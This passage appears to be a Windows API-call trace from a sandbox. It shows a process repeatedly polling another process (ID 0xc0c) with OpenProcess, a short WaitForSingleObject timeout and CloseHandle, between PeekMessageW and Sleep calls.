hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0235.793] Sleep (dwMilliseconds=0x1) [0235.822] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x374 [0235.822] WaitForSingleObject (hHandle=0x374, dwMilliseconds=0xa) returned 0x102 [0235.824] CloseHandle (hObject=0x374) returned 1 [0235.824] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0235.824] Sleep (dwMilliseconds=0x1) [0235.840] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x374 [0235.840] WaitForSingleObject (hHandle=0x374, dwMilliseconds=0xa) returned 0x102 [0235.855] CloseHandle (hObject=0x374) returned 1 [0235.856] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0235.856] Sleep (dwMilliseconds=0x1) [0235.871] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x374 [0235.871] WaitForSingleObject (hHandle=0x374, dwMilliseconds=0xa) returned 0x102 [0235.887] CloseHandle (hObject=0x374) returned 1 [0235.887] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0235.887] Sleep (dwMilliseconds=0x1) [0235.903] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x374 [0235.903] WaitForSingleObject (hHandle=0x374, dwMilliseconds=0xa) returned 0x102 [0235.918] CloseHandle (hObject=0x374) returned 1 [0235.918] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0235.918] Sleep (dwMilliseconds=0x1) [0235.934] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x374 [0235.934] WaitForSingleObject (hHandle=0x374, dwMilliseconds=0xa) returned 0x102 [0235.949] CloseHandle (hObject=0x374) returned 1 [0235.949] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0235.949] Sleep (dwMilliseconds=0x1) [0235.965] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x374 [0235.965] WaitForSingleObject (hHandle=0x374, dwMilliseconds=0xa) returned 0x102 [0235.980] CloseHandle (hObject=0x374) returned 1 [0235.980] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0235.981] Sleep (dwMilliseconds=0x1) [0235.996] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x374 [0235.996] WaitForSingleObject (hHandle=0x374, dwMilliseconds=0xa) returned 0x102 [0236.012] CloseHandle (hObject=0x374) returned 1 [0236.012] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0236.012] Sleep (dwMilliseconds=0x1) [0236.027] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x374 [0236.027] WaitForSingleObject (hHandle=0x374, dwMilliseconds=0xa) returned 0x102 [0236.043] CloseHandle (hObject=0x374) returned 1 [0236.043] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0236.043] Sleep (dwMilliseconds=0x1) [0236.059] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x374 [0236.059] WaitForSingleObject (hHandle=0x374, dwMilliseconds=0xa) returned 0x102 [0236.074] CloseHandle (hObject=0x374) returned 1 [0236.074] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0236.074] Sleep (dwMilliseconds=0x1) [0236.090] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x374 [0236.090] WaitForSingleObject (hHandle=0x374, dwMilliseconds=0xa) returned 0x102 [0236.106] CloseHandle (hObject=0x374) returned 1 [0236.106] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0236.106] Sleep (dwMilliseconds=0x1) [0236.121] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x374 [0236.121] WaitForSingleObject (hHandle=0x374, dwMilliseconds=0xa) returned 0x102 [0236.137] CloseHandle (hObject=0x374) returned 1 [0236.137] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0236.137] Sleep (dwMilliseconds=0x1) [0236.152] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x374 [0236.152] WaitForSingleObject (hHandle=0x374, dwMilliseconds=0xa) returned 0x102 [0236.168] CloseHandle (hObject=0x374) returned 1 [0236.168] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0236.168] Sleep (dwMilliseconds=0x1) [0236.184] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x374 [0236.184] WaitForSingleObject (hHandle=0x374, dwMilliseconds=0xa) returned 0x102 [0236.199] CloseHandle (hObject=0x374) returned 1 [0236.199] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0236.199] Sleep (dwMilliseconds=0x1) [0236.215] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x374 [0236.215] WaitForSingleObject (hHandle=0x374, dwMilliseconds=0xa) returned 0x102 [0236.231] CloseHandle (hObject=0x374) returned 1 [0236.231] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0236.231] Sleep (dwMilliseconds=0x1) [0236.246] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x37c [0236.246] WaitForSingleObject (hHandle=0x37c, dwMilliseconds=0xa) returned 0x102 [0236.281] CloseHandle (hObject=0x37c) returned 1 [0236.281] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0236.281] Sleep (dwMilliseconds=0x1) [0236.300] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x388 [0236.300] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xa) returned 0x102 [0236.311] CloseHandle (hObject=0x388) returned 1 [0236.311] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0236.311] Sleep (dwMilliseconds=0x1) [0236.324] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x388 [0236.324] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xa) returned 0x102 [0236.534] CloseHandle (hObject=0x388) returned 1 [0236.534] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0236.534] Sleep (dwMilliseconds=0x1) [0236.544] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x394 [0236.544] WaitForSingleObject (hHandle=0x394, dwMilliseconds=0xa) returned 0x102 [0236.568] CloseHandle (hObject=0x394) returned 1 [0236.568] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0236.568] Sleep (dwMilliseconds=0x1) [0236.577] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x394 [0236.577] WaitForSingleObject (hHandle=0x394, dwMilliseconds=0xa) returned 0x102 [0236.594] CloseHandle (hObject=0x394) returned 1 [0236.594] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0236.594] Sleep (dwMilliseconds=0x1) [0236.605] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x394 [0236.605] WaitForSingleObject (hHandle=0x394, dwMilliseconds=0xa) returned 0x102 [0236.684] CloseHandle (hObject=0x394) returned 1 [0236.684] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0236.684] Sleep (dwMilliseconds=0x1) [0236.699] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x394 [0236.699] WaitForSingleObject (hHandle=0x394, dwMilliseconds=0xa) returned 0x102 [0236.715] CloseHandle (hObject=0x394) returned 1 [0236.715] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0236.715] Sleep (dwMilliseconds=0x1) [0236.730] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x394 [0236.730] WaitForSingleObject (hHandle=0x394, dwMilliseconds=0xa) returned 0x102 [0236.778] CloseHandle (hObject=0x394) returned 1 [0236.778] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0236.778] Sleep (dwMilliseconds=0x1) [0236.824] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x394 [0236.824] WaitForSingleObject (hHandle=0x394, dwMilliseconds=0xa) returned 0x102 [0236.862] CloseHandle (hObject=0x394) returned 1 [0236.862] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0236.862] Sleep (dwMilliseconds=0x1) [0236.906] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x398 [0236.906] WaitForSingleObject (hHandle=0x398, dwMilliseconds=0xa) returned 0x102 [0236.950] CloseHandle (hObject=0x398) returned 1 [0236.950] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0236.950] Sleep (dwMilliseconds=0x1) [0236.968] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x39c [0236.968] WaitForSingleObject (hHandle=0x39c, dwMilliseconds=0xa) returned 0x102 [0237.057] CloseHandle (hObject=0x39c) returned 1 [0237.057] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0237.057] Sleep (dwMilliseconds=0x1) [0237.072] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3a0 [0237.072] WaitForSingleObject (hHandle=0x3a0, dwMilliseconds=0xa) returned 0x102 [0237.076] CloseHandle (hObject=0x3a0) returned 1 [0237.076] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0237.076] Sleep (dwMilliseconds=0x1) [0237.090] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3ac [0237.090] WaitForSingleObject (hHandle=0x3ac, dwMilliseconds=0xa) returned 0x102 [0237.106] CloseHandle (hObject=0x3ac) returned 1 [0237.106] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0237.106] Sleep (dwMilliseconds=0x1) [0237.121] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3ac [0237.121] WaitForSingleObject (hHandle=0x3ac, dwMilliseconds=0xa) returned 0x102 [0237.140] CloseHandle (hObject=0x3ac) returned 1 [0237.140] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0237.140] Sleep (dwMilliseconds=0x1) [0237.152] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3ac [0237.152] WaitForSingleObject (hHandle=0x3ac, dwMilliseconds=0xa) returned 0x102 [0237.168] CloseHandle (hObject=0x3ac) returned 1 [0237.168] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0237.168] Sleep (dwMilliseconds=0x1) [0237.184] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3b0 [0237.184] WaitForSingleObject (hHandle=0x3b0, dwMilliseconds=0xa) returned 0x102 [0237.199] CloseHandle (hObject=0x3b0) returned 1 [0237.199] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0237.199] Sleep (dwMilliseconds=0x1) [0237.215] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3b0 [0237.215] WaitForSingleObject (hHandle=0x3b0, dwMilliseconds=0xa) returned 0x102 [0237.231] CloseHandle (hObject=0x3b0) returned 1 [0237.231] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0237.231] Sleep (dwMilliseconds=0x1) [0237.247] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3b0 [0237.247] WaitForSingleObject (hHandle=0x3b0, dwMilliseconds=0xa) returned 0x102 [0237.271] CloseHandle (hObject=0x3b0) returned 1 [0237.271] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0237.271] Sleep (dwMilliseconds=0x1) [0237.277] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3b0 [0237.277] WaitForSingleObject (hHandle=0x3b0, dwMilliseconds=0xa) returned 0x102 [0237.293] CloseHandle (hObject=0x3b0) returned 1 [0237.293] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0237.293] Sleep (dwMilliseconds=0x1) [0237.317] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3b0 [0237.317] WaitForSingleObject (hHandle=0x3b0, dwMilliseconds=0xa) returned 0x102 [0237.325] CloseHandle (hObject=0x3b0) returned 1 [0237.325] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0237.325] Sleep (dwMilliseconds=0x1) [0237.340] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3cc [0237.340] WaitForSingleObject (hHandle=0x3cc, dwMilliseconds=0xa) returned 0x102 [0237.356] CloseHandle (hObject=0x3cc) returned 1 [0237.356] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0237.356] Sleep (dwMilliseconds=0x1) [0237.371] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3cc [0237.371] WaitForSingleObject (hHandle=0x3cc, dwMilliseconds=0xa) returned 0x102 [0237.387] CloseHandle (hObject=0x3cc) returned 1 [0237.387] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0237.387] Sleep (dwMilliseconds=0x1) [0237.404] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3d4 [0237.404] WaitForSingleObject (hHandle=0x3d4, dwMilliseconds=0xa) returned 0x102 [0237.420] CloseHandle (hObject=0x3d4) returned 1 [0237.420] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0237.420] Sleep (dwMilliseconds=0x1) [0237.434] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3ec [0237.434] WaitForSingleObject (hHandle=0x3ec, dwMilliseconds=0xa) returned 0x102 [0237.449] CloseHandle (hObject=0x3ec) returned 1 [0237.449] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0237.449] Sleep (dwMilliseconds=0x1) [0237.465] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3ec [0237.465] WaitForSingleObject (hHandle=0x3ec, dwMilliseconds=0xa) returned 0x102 [0237.480] CloseHandle (hObject=0x3ec) returned 1 [0237.481] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0237.481] Sleep (dwMilliseconds=0x1) [0237.496] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3ec [0237.496] WaitForSingleObject (hHandle=0x3ec, dwMilliseconds=0xa) returned 0x102 [0237.512] CloseHandle (hObject=0x3ec) returned 1 [0237.512] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0237.512] Sleep (dwMilliseconds=0x1) [0237.534] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3ec [0237.534] WaitForSingleObject (hHandle=0x3ec, dwMilliseconds=0xa) returned 0x102 [0237.624] CloseHandle (hObject=0x3ec) returned 1 [0237.624] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0237.624] Sleep (dwMilliseconds=0x1) [0237.637] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f0 [0237.637] WaitForSingleObject (hHandle=0x3f0, dwMilliseconds=0xa) returned 0x102 [0237.874] CloseHandle (hObject=0x3f0) returned 1 [0237.874] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0237.874] Sleep (dwMilliseconds=0x1) [0237.887] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f0 [0237.887] WaitForSingleObject (hHandle=0x3f0, dwMilliseconds=0xa) returned 0x102 [0237.902] CloseHandle (hObject=0x3f0) returned 1 [0237.902] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0237.902] Sleep (dwMilliseconds=0x1) [0237.929] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x408 [0237.929] WaitForSingleObject (hHandle=0x408, dwMilliseconds=0xa) returned 0x102 [0237.933] CloseHandle (hObject=0x408) returned 1 [0237.933] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0237.933] Sleep (dwMilliseconds=0x1) [0237.949] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x408 [0237.949] WaitForSingleObject (hHandle=0x408, dwMilliseconds=0xa) returned 0x102 [0237.965] CloseHandle (hObject=0x408) returned 1 [0237.965] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0237.965] Sleep (dwMilliseconds=0x1) [0237.981] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x408 [0237.981] WaitForSingleObject (hHandle=0x408, dwMilliseconds=0xa) returned 0x102 [0237.996] CloseHandle (hObject=0x408) returned 1 [0237.996] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0237.996] Sleep (dwMilliseconds=0x1) [0238.904] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x408 [0238.905] WaitForSingleObject (hHandle=0x408, dwMilliseconds=0xa) returned 0x102 [0238.919] CloseHandle (hObject=0x408) returned 1 [0238.919] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0238.919] Sleep (dwMilliseconds=0x1) [0238.936] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x424 [0238.936] WaitForSingleObject (hHandle=0x424, dwMilliseconds=0xa) returned 0x102 [0238.949] CloseHandle (hObject=0x424) returned 1 [0238.949] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0238.949] Sleep (dwMilliseconds=0x1) [0238.967] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x444 [0238.967] WaitForSingleObject (hHandle=0x444, dwMilliseconds=0xa) returned 0x102 [0238.980] CloseHandle (hObject=0x444) returned 1 [0238.980] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0238.980] Sleep (dwMilliseconds=0x1) [0238.996] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x444 [0238.996] WaitForSingleObject (hHandle=0x444, dwMilliseconds=0xa) returned 0x102 [0239.012] CloseHandle (hObject=0x444) returned 1 [0239.012] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0239.012] Sleep (dwMilliseconds=0x1) [0239.027] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x444 [0239.027] WaitForSingleObject (hHandle=0x444, dwMilliseconds=0xa) returned 0x102 [0239.043] CloseHandle (hObject=0x444) returned 1 [0239.043] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0239.043] Sleep (dwMilliseconds=0x1) [0239.059] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x444 [0239.059] WaitForSingleObject (hHandle=0x444, dwMilliseconds=0xa) returned 0x102 [0239.074] CloseHandle (hObject=0x444) returned 1 [0239.074] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0239.074] Sleep (dwMilliseconds=0x1) [0239.090] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x444 [0239.090] WaitForSingleObject (hHandle=0x444, dwMilliseconds=0xa) returned 0x102 [0239.105] CloseHandle (hObject=0x444) returned 1 [0239.105] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0239.105] Sleep (dwMilliseconds=0x1) [0239.552] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x458 [0239.552] WaitForSingleObject (hHandle=0x458, dwMilliseconds=0xa) returned 0x102 [0239.560] CloseHandle (hObject=0x458) returned 1 [0239.561] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0239.561] Sleep (dwMilliseconds=0x1) [0239.579] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x468 [0239.579] WaitForSingleObject (hHandle=0x468, dwMilliseconds=0xa) returned 0x102 [0239.593] CloseHandle (hObject=0x468) returned 1 [0239.593] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0239.593] Sleep (dwMilliseconds=0x1) [0239.599] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x480 [0239.599] WaitForSingleObject (hHandle=0x480, dwMilliseconds=0xa) returned 0x102 [0239.644] CloseHandle (hObject=0x480) returned 1 [0239.644] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0239.644] Sleep (dwMilliseconds=0x1) [0239.655] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4a0 [0239.655] WaitForSingleObject (hHandle=0x4a0, dwMilliseconds=0xa) returned 0x102 [0239.668] CloseHandle (hObject=0x4a0) returned 1 [0239.668] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0239.668] Sleep (dwMilliseconds=0x1) [0239.684] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4bc [0239.684] WaitForSingleObject (hHandle=0x4bc, dwMilliseconds=0xa) returned 0x102 [0239.702] CloseHandle (hObject=0x4bc) returned 1 [0239.702] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0239.702] Sleep (dwMilliseconds=0x1) [0239.714] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4d8 [0239.714] WaitForSingleObject (hHandle=0x4d8, dwMilliseconds=0xa) returned 0x102 [0239.729] 